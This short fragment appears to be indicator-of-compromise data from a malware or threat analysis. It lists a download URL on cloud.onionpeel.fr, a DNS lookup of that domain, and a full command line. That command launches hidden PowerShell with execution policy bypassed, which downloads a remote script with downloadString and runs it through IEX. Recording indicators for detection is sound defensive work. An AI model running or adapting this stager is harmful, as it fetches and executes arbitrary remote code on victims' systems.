Technical Information
- https://cloud.onionpeel.fr/s/k8wf9qm52c9iqa5/download
- DNS ASK cl###.onionpeel.fr
- '<SYSTEM32>\cmd.exe' /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(new-object net.webclient).downloadString('https://cloud.onionpeel.fr/s/K8wf9qM52C9iqA5/download')